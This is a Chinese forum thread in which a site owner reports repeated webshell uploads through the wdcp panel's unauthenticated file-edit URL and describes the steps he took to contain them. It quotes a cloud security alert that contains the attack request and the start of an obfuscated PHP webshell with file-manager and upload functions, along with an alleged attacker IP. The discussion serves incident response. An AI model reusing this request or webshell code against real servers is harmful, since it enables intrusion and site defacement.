steven001

XXXX:8080/sys/filee?act=edit&t=f&p=/www/web/XXXXXX/public_html/upload/201612/1482310143.php

我也是經(jīng)常被掛馬
通過這個地址掛上來的。這個是wdcp的文件吧

steven001

回復 9# admin


肯定是沒有登陸掛馬。通過這個地址掛的，是阿里的 態(tài)勢感知 提示的。并且是能夠通過這個寫入文件，以下是相關的信息。請盡快測試。謝謝！掛了好多馬，并且跟樓主一樣，在主頁寫入了博彩的相關信息，并進行了加密。javascript進行解密

疑似攻擊者IP
222.247.108.16
入侵點URL

XXXXXX:8080/sys/filee?act=edit&t=f&p=/www/web/XXXXXXXX/public_html/upload/201612/1482310143.php
Http Payload

------WebKitFormBoundaryYlHudQYI8qGl61Qw
Content-Disposition: form-data; name="fn"

/www/web/XXXXXXX/public_html/upload/201612/1482310143.php
------WebKitFormBoundaryYlHudQYI8qGl61Qw
Content-Disposition: form-data; name="furl"

/sys/file?p=%2fwww%2fweb%2fwww_XXXXX_com%2fpublic_html%2fupload/201612&act=list&t=d
------WebKitFormBoundaryYlHudQYI8qGl61Qw
Content-Disposition: form-data; name="contents"

<?php error_reporting(0);$sr="st"./*+/*+*/"rr"/*+/*+*/."ev";$id=$sr/*+/*+*/("ri"."d_"."si");$rn=$sr/*+/*+*/("em"."an"."er");$dn=$sr/*+/*+*/("em"."anr"."id");$od=$sr/*+/*+*/("ri"."dne"."po");$rd=$sr/*+/*+*/("ri"."dda"."er");$cd=$sr/*+/*+*/("ri"."deso"."lc");$fpc=$sr/*+/*+*/("stn"."etn"."oc_t"."up_e"."lif");$fgc=$sr/*+/*+*/("stn"."etn"."oc_t"."eg_e"."lif");$muf=$sr/*+/*+*/("eli"."f_d"."eda"."olp"."u_e"."vom");$dlform='<form method="post">FN:<input name="fn" size="20" type="text">URL:<input name="url" size="50" type="text"><input type="submit" value="ok"></form>';$ulform='<form method="post" enc
Http user_agent

Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36
被寫入的可疑文件路徑

/www/web/XXXXXXpublic_html/upload/201612/1482310143.php
事件說明

云盾檢測到有疑似黑客在通過WEB漏洞或者WEBSHELL向服務器寫入WEBSHELL文件或可疑的二進制文件，請及時關注。
解決方案

請及時排查告警中的URL對應的磁盤文件是否存在漏洞，或者是否是WEBSHELL，并及時修復WEB漏洞及刪除已存在的WEBSHELL文件。如果該URL接口是您網(wǎng)站正常的文件上傳接口，請在控制臺點擊標記為誤報或忽略按鈕。

steven001

目前我做了一個服務器策略，臨時解決。所有目錄不允許寫入，upload目錄允許寫入但是不允許執(zhí)行

steven001

回復 12# admin

你好，管理員，這是阿里態(tài)勢給出的提示，肯定是沒有登陸的。密碼我修改過，直接寫入的文件。

steven001

linux系統(tǒng)也沒有新增用戶，系統(tǒng)漏洞也清理了。

steven001

回復 15# admin


wdcp的密碼我修改過。態(tài)勢里面提示了四十多條，所有的文件都是通過這個地址上傳上來的。并沒有干什么壞事，只是修改了主頁的信息，讓頁面回跳到首頁的時候跳到垃圾頁面。所有上傳的木馬全部經(jīng)過的加密處理。感覺這個是機器掃描直接植入的，而不是人工操作的。

steven001

我現(xiàn)在已經(jīng)吧wdcp修改了端口，也不知道什么原因，無法訪問了，木馬文件我根據(jù)阿里的提示已經(jīng)刪除，先看一段時間，看是否還能上傳木馬文件。